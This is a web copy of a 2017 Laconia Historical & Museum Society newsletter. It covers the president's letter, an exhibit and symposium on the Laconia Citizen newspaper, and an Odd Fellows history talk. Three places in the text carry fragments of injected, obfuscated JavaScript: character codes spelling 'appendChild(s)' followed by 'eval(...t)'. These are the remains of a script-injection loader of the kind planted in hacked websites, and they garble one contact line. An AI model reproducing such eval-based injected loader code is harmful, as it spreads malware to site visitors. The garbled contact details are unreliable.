Summer 2017: Laconia Historical & Museum Society Newsletter “The Historian”

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“Hello LHMS members. It’s been well over a year since our last newsletter. Thanks to Johanna Halperin for making this one possible. Lots of great things have been going on over the past year. Our monthly lectures have been going well. I hope that those of you that can’t make it to the meetings will have a chance to watch them on LRPA TV.

Our Executive Director, Pat Tierney, has a group of dedicated volunteers to help him work with our collections at our building on Water Street. Pat with the help of Johanna Halperin and historian Warren Huse have been doing a wonderful job on our quarterly exhibits at the Laconia Public Library. Make sure to come by and visit. Without the Library’s support the exhibits would not be possible.

I wanted to let you know about something exciting happening in the city of Laconia. Last year I formed a non-profit called “Celebrate Laconia” to celebrate the 125th anniversary of the city which takes place in 2018. This summer on August 19, 2017 we will be celebrating the 125th anniversary of the Laconia Passenger Station with a day of entertainment, train rides, vendors, pig roast, children’s activities and FUN!! Hope to see many of you there.

Finally, if you have not yet renewed your membership, please do. If you know of anyone who would like to be a member please let them know about us. We are only as strong as our members. Also, if you are interested in volunteering please get in touch with our Executive Director.

Pam Clark”&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

The Laconia Citizen Exhibit and Symposium

The Citizen, the daily newspaper published here for 90 years until last Sept. 30, will revisit the community at 6 p.m. Monday, March 20, with the opening of an exhibit in the upper-level of the Laconia Public Library, under the auspices of the Laconia Historical and Museum Society.

Following the opening of the exhibit, a symposium will be held — including past Citizen managers, writers, and other employees in an open discussion at Rotary Hall on the lower level of the Library at 7 p.m. The proceedings will also be recorded for broadcast on Lakes Region Public Access Channel 25.

The 90-year history of this important local publication will be on display with timelines, images and artifacts.

Both the exhibit and the symposium are free and open to the public.

For further information, contact LHMS at (603) 527-1278[email protected]t or go to,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

‘Odd Fellows’ History

On Monday January 23rd 2017, Chocorua Lodge #51 of The Independent Order of Odd Fellows in Laconia will give a presentation on its history. Chartered in 1869, this group merged with the Winnipesaukee Lodge of Lakeport during the 1980’s. The Lakeport Lodge traced its roots to 1842 having been founded with the help of John Carroll Moulton, a prominent 19th century leader in this region. Join us as we investigate this outstanding fraternity founded in Baltimore Maryland in 1819, as well as their associated philanthropy.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);